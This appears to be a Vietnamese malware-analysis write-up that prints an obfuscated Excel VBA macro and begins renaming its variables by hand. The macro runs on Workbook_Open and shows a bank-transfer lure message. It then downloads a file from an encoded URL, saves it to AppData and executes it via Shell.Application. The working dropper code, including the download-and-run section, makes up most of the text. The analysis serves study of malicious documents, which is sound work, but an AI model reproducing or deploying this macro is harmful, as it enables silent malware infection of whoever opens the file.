    For ¹®µ´¾¥»³ºª´¡¹®¶¶®¦·³«¢¢¢¹µ¹½¸¦§¥§·°°¡µ¼¤¿©¦¸£¥¥¹¦¶¨¹«©§µ¡´²·°º¢·¡¸²µ¤°²³¯£«¶£ = 4 To Len(´³®½£¼µ·©¡¤¨®º²§¿»²¹£°»¦¾¹²²³¡¨«¯°»³¸¢»¹²£»´£¬¦º¸¸³¾½¨¡º¥¬¥«¹·§¶¶°¦«¹¥¤·)
        ´³®½£¼µ·©¡¤¨®º²§¿»²¹£°»¦¾¹²²³¡¨«¯°»³¸¢»¹²£»´£¬¦º¸¸³¾½¨¡º¥¬¥«¹·§¶¶°¦«¹¥¤· = 2
    Next
End Function
Sub Workbook_Open()
    Dim ¹·³«»½¦¨¬¢¸°¤¼¾£¬»¢¾´¢¢µ¾¡¥»»«·¸»µ´¾¼¶»²¥§©¥¥¾¿¼¿²µ°¤²£¹´¶§ As Object
    Dim ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ As String
    Dim ¤¸¿º«¡¬¡°µ²¢¹¾¿¡¼²¥¾®¨¶µ»¾«º½¼»ª²¢¾ª¤»¹¬»¾»¸¤µµ°¡§¬¿§¢¥§¥£¶¢¥©¨ As String
    Dim §»¶¬¡¦¹³¾¸¸³££¹´´¸³¥¦´¢¹¥··£°¿²»º¶°°¥©²¢°¾ª«°©«®·½½··´®¹°µµ©½½§¥·°»¢¼¼´¡¦¡«¹ As String
    Dim ¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ As Integer
    ¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ = Chr(50) + Chr(48) + Chr(48)
    Set ¹·³«»½¦¨¬¢¸°¤¼¾£¬»¢¾´¢¢µ¾¡¥»»«·¸»µ´¾¼¶»²¥§©¥¥¾¿¼¿²µ°¤²£¹´¶§ = CreateObject("WScript.Shell")
    ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ = ¹·³«»½¦¨¬¢¸°¤¼¾£¬»¢¾´¢¢µ¾¡¥»»«·¸»µ´¾¼¶»²¥§©¥¥¾¿¼¿²µ°¤²£¹´¶§.SpecialFolders("AppData")
    Dim ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼
    Dim ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦
    Dim ¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬¯¨³³¿¯©¶
    Dim ³§½¢º¹¸°¾»´¦§¢·¬»´¦³²¦¦·°¶¥°¯¾µ·§½µº¦¶»¹²¥¦¥·²¢¥³°§°¹¾¾£½©¼°¥«ª§¡¹¶° As Long
    Dim ¥½µ©¡»¡·¤¼¶µ¢¾·½¼¾®¦»»¼¬§ª¦·°¹·³¹¸¤µ³³¡¢£§´¤´¹¨´¡¾¦¬°¹¦¼¥°¡³» As String
    Dim ¿¨¡©§¾¡º·¼½µ¡®¾¥¼½«¹´¥¥¶²°»¤¡·»°¬£°¿¥§¬¸©º¢¾¥·´£¹¥¡½¬¸ª´º°»§¬¥¡£¢¦»·¶ As Long
    Dim »¶ª¨½©ª¾»¼§µ¨®º¾¢°¦»»¬¥§»¡¬·»¥¾¥¤½°·¾¢²³¡¹¾³¢µ¾·¹«¬¸¼´³£¥°µ»«½°®¸ As String
    Dim »´¦¾¨¶¶½»¿º©³¬µ³°¶¢µ¼²¢°·¸¤¾¨»£¼¡»¥¹¼¤·©©³¹§¾¸¢·¤·¼ºµ£· As Long
    Dim ¹®µ´¾¥»³ºª´¡¹®¶¶®¦·³«¢¢¢¹µ¹½¸¦§¥§·°°¡µ¼¤¿©¦¸£¥¥¹¦¶¨¹«©§µ¡´²·°º¢·¡¸²µ¤°²³¯£«¶£ As String
    Dim °»»¦¡½º®¤¼º¬³¤³º¸¶®¨½®©µ«¢´¾´··¦«º¬º°¥²ª¹«¿º¼£º·¦¢¬°¢¾§µ²° As String
    Dim £©©³¶º©«®®·º¿¿°µ·¡º·«½ª¾¢¢µ¥¹¾²ª¤°¥©½®¥³µ¯¶¹¹´·¹³½²µ£²·¬·¿³¤¹´¨¢º§¯²¦ As Long
    Dim ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬
    Dim ²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥
    Dim ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ As Integer
    Dim ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²
    Dim ®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©
    ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ = 1
    Range("A1").Value = ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("4BEiàiuP3x6¿QEi³")
    Dim ½¹¢²°½¢¼¬µ¥¨³¹²¡£½¬¿´¥ºµ¢ª¥°¸¢¶«µ§¥°°¤µ¸µ¾¦°¹¾¥¹»»·¡¾²°£¬¼·´©·¡·©¾³§¦¤·¶¨¹º°¹©§©££»¥¡¢¾¤ As String
    ´¸®¢»¬«¢®¼¿¾«²¡»¦°´»·°º¥ª¡½½¤§»´ª§¥¸»®«¶¿¸¶¢³µ¶¾¿¼£²¡¾«¹¶¹§ºµº¦¶¹¦¨¸®¸§¹µ³¢£¯©¦¾·º£¼º²»¨®²¦¤¦·½»¶³ = "$x¿PÜ_jEPkEEiPÜ_6IE3P_i3PÛx¿²PàQBx²³_i³P3x6¿QEi³bPÜ_jEPkEEiPb³x#Eir" & vbCrLf & "ÒxP²E³²àEjEP³ÜEbEP3_³_(PÛx¿P_²EP²E7¿à²E3P³xP³²_ib0E²P@mmIP³xP³ÜEP0x##xÄàiuPk_iIP_66x¿i³Pi¿QkE²:P" & vbCrLf & "@m@m@mo@mmm" & vbCrLf & "g66x¿i³PÜx#3E²:PLu¿ÛEiPÒÜ_iÜP!xiu" & vbCrLf & "t_iI:PTtPt_iI"
    ½¹¢²°½¢¼¬µ¥¨³¹²¡£½¬¿´¥ºµ¢ª¥°¸¢¶«µ§¥°°¤µ¸µ¾¦°¹¾¥¹»»·¡¾²°£¬¼·´©·¡·©¾³§¦¤·¶¨¹º°¹©§©££»¥¡¢¾¤ = ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨(´¸®¢»¬«¢®¼¿¾«²¡»¦°´»·°º¥ª¡½½¤§»´ª§¥¸»®«¶¿¸¶¢³µ¶¾¿¼£²¡¾«¹¶¹§ºµº¦¶¹¦¨¸®¸§¹µ³¢£¯©¦¾·º£¼º²»¨®²¦¤¦·½»¶³)
    MsgBox ½¹¢²°½¢¼¬µ¥¨³¹²¡£½¬¿´¥ºµ¢ª¥°¸¢¶«µ§¥°°¤µ¸µ¾¦°¹¾¥¹»»·¡¾²°£¬¼·´©·¡·©¾³§¦¤·¶¨¹º°¹©§©££»¥¡¢¾¤, vbInformation, ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("pEP3EEB#ÛP²Eu²E³P³xPài0x²QPÛx¿")
    Dim ¢¶¸¡³·´®¨½¥¡¼»´§²¾½º¢¿°°¹¹££©´¢©¹ª¬»¡¡°º·«¶²¦¾²¦¹º¤¹¼»«»¬º¤¸½¥¹¬²§¶°¾·»§©¥ª As Date
    Dim ¹»«´¾¹¡º¸¿°·¶¥µ¢µ¾²¦¥§¶¨´²½°·£®·»ª¡¬¬»½µ³©·»¾¤·¹¤µ®º¤¸§¶·¢·¹º££§¬¸ As Date
    ¢¶¸¡³·´®¨½¥¡¼»´§²¾½º¢¿°°¹¹££©´¢©¹ª¬»¡¡°º·«¶²¦¾²¦¹º¤¹¼»«»¬º¤¸½¥¹¬²§¶°¾·»§©¥ª = Date
    ¹»«´¾¹¡º¸¿°·¶¥µ¢µ¾²¦¥§¶¨´²½°·£®·»ª¡¬¬»½µ³©·»¾¤·¹¤µ®º¤¸§¶·¢·¹º££§¬¸ = DateSerial(2023, 6, 6)
    If ¢¶¸¡³·´®¨½¥¡¼»´§²¾½º¢¿°°¹¹££©´¢©¹ª¬»¡¡°º·«¶²¦¾²¦¹º¤¹¼»«»¬º¤¸½¥¹¬²§¶°¾·»§©¥ª < ¹»«´¾¹¡º¸¿°·¶¥µ¢µ¾²¦¥§¶¨´²½°·£®·»ª¡¬¬»½µ³©·»¾¤·¹¤µ®º¤¸§¶·¢·¹º££§¬¸ Then
        Set ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸² = CreateObject("microsoft.xmlhttp")
        Set ²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥ = CreateObject("Shell.Application")
        ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬ = ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ + ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("\k¿i6Ü_~Bb@")
        ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².Open "get", ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"), FALSE
        ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².send
        ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦ = ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².responseBody
        If ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².Status = 200 Then
            Set ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼ = CreateObject("adodb.stream")
            ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Open
            ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Type = ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡
            ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Write ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦
            ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.SaveToFile ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬, ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ + ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡
            ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Close
        End If
        ²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥.Open (³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬)
    Else
        MsgBox        '³P³²ÛP³xP²¿iPQEPk²x")
    End If
End Sub

Mình change variable name bằng cơm ><, function đầu mình rename là function_1, tuy nhiên mình chỉ mới change được 1 phần function1 là hết sức rồi, tuy nhiên mình lại phát hiện đoạn sau

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Set ²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥ = CreateObject("Shell.Application")
³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬ = ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ + ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("\k¿i6Ü_~Bb@")
³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².Open "get", ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"), FALSE
³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².send
´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦ = ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².responseBody
If ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².Status = 200 Then
    Set ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼ = CreateObject("adodb.stream")
    ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Open
    ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Type = ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡
    ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Write ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦
    ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.SaveToFile ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬, ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ + ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡
    ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Close
End If
²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥.Open (³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬)

Đổi tên biến ở đoạn này ta được

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
If var_1 < var_2 Then
    Set var_3 = CreateObject("microsoft.xmlhttp")
    Set var_4 = CreateObject("Shell.Application")
    ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬ = ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ + function_1("\k¿i6Ü_~Bb@")
    var_3.Open "get", function_1("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"), FALSE
    var_3.send
    ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦ = var_3.responseBody
    If var_3.Status = 200 Then
        Set var_4 = CreateObject("adodb.stream")
        var_4.Open
        var_4.Type = ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡
        var_4.Write ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦
        var_4.SaveToFile ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬, ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ + ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡
        var_4.Close
    End If
    var_4.Open (³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬)
Else
    MsgBox        '³P³²ÛP³xP²¿iPQEPk²x")
End If

